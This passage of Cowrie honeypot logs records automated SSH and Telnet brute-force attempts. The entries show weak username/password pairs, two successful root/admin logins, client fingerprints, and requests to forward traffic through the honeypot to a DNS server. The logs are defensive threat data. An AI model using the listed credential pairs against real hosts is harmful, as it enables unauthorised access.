eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:14.040115Z","src_ip":"37.77.150.119","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:14.460246Z","src_ip":"37.77.150.119","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:14.602107Z","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:14.743282Z","src_ip":"37.77.150.119","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:14.886162Z","src_ip":"37.77.150.119","session":"ee8575bc79ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54064,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0345d1aabe","protocol":"ssh","message":"New connection: 14.225.2.125:54064 (159.203.135.109:22) [session: ab0345d1aabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:38.693515Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:38.961557Z","src_ip":"14.225.2.125","session":"ab0345d1aabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54080,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a38c58be6a","protocol":"ssh","message":"New connection: 14.225.2.125:54080 (159.203.135.109:22) [session: 08a38c58be6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:39.227431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:39.232010Z","src_ip":"14.225.2.125","session":"08a38c58be6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:39.497297Z","src_ip":"14.225.2.125","session":"08a38c58be6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wolle","password":"wolle","message":"login attempt [wolle/wolle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:40.291539Z","src_ip":"14.225.2.125","session":"08a38c58be6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:42:41.557881Z","src_ip":"14.225.2.125","session":"08a38c58be6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39176,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cebd57b4c34","protocol":"ssh","message":"New connection: 2.57.122.210:39176 (159.203.135.109:22) [session: 0cebd57b4c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:01.708060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:01.712249Z","src_ip":"2.57.122.210","session":"0cebd57b4c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:01.811612Z","src_ip":"2.57.122.210","session":"0cebd57b4c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:02.136316Z","src_ip":"2.57.122.210","session":"0cebd57b4c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54930,"dst_ip":"10.17.0.5","dst_port":22,"session":"896688271e68","protocol":"ssh","message":"New connection: 193.32.162.145:54930 (10.17.0.5:22) [session: 896688271e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:02.238165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:02.242740Z","src_ip":"193.32.162.145","session":"896688271e68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:02.349834Z","src_ip":"193.32.162.145","session":"896688271e68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:02.665427Z","src_ip":"193.32.162.145","session":"896688271e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:03.238014Z","src_ip":"2.57.122.210","session":"0cebd57b4c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:03.836303Z","src_ip":"193.32.162.145","session":"896688271e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":48832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2128b5438f82","protocol":"telnet","message":"New connection: 130.12.180.174:48832 (159.203.135.109:23) [session: 2128b5438f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:05.282704Z"}
{"eventid":"cowrie.session.closed","duration":0.4810984134674072,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:05.763665Z","src_ip":"130.12.180.174","session":"2128b5438f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b6676c9c049","protocol":"ssh","message":"New connection: 195.178.110.218:53968 (10.17.0.5:22) [session: 7b6676c9c049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:22.804535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:22.808918Z","src_ip":"195.178.110.218","session":"7b6676c9c049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:22.888371Z","src_ip":"195.178.110.218","session":"7b6676c9c049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:23.126512Z","src_ip":"195.178.110.218","session":"7b6676c9c049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:43:24.208202Z","src_ip":"195.178.110.218","session":"7b6676c9c049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":54528,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e94b89245a8","protocol":"ssh","message":"New connection: 80.94.92.168:54528 (10.17.0.5:22) [session: 5e94b89245a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:20.276335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:20.448934Z","src_ip":"80.94.92.168","session":"5e94b89245a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:20.452842Z","src_ip":"80.94.92.168","session":"5e94b89245a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:21.711182Z","src_ip":"80.94.92.168","session":"5e94b89245a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:23.155242Z","src_ip":"80.94.92.168","session":"5e94b89245a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":60024,"dst_ip":"10.17.0.5","dst_port":22,"session":"163c8372a3f6","protocol":"ssh","message":"New connection: 37.77.150.119:60024 (10.17.0.5:22) [session: 163c8372a3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:37.267009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:37.270324Z","src_ip":"37.77.150.119","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:37.405015Z","src_ip":"37.77.150.119","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:37.809141Z","src_ip":"37.77.150.119","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:37.946351Z","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:38.082768Z","src_ip":"37.77.150.119","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:44:38.220429Z","src_ip":"37.77.150.119","session":"163c8372a3f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4cf9d85d33","protocol":"ssh","message":"New connection: 2.57.122.210:41786 (159.203.135.109:22) [session: 6c4cf9d85d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:21.685303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:21.689686Z","src_ip":"2.57.122.210","session":"6c4cf9d85d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:21.794542Z","src_ip":"2.57.122.210","session":"6c4cf9d85d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"8816e2e73245","protocol":"ssh","message":"New connection: 193.32.162.145:40598 (10.17.0.5:22) [session: 8816e2e73245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:22.096025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:22.100454Z","src_ip":"193.32.162.145","session":"8816e2e73245","protocol":"ssh"}
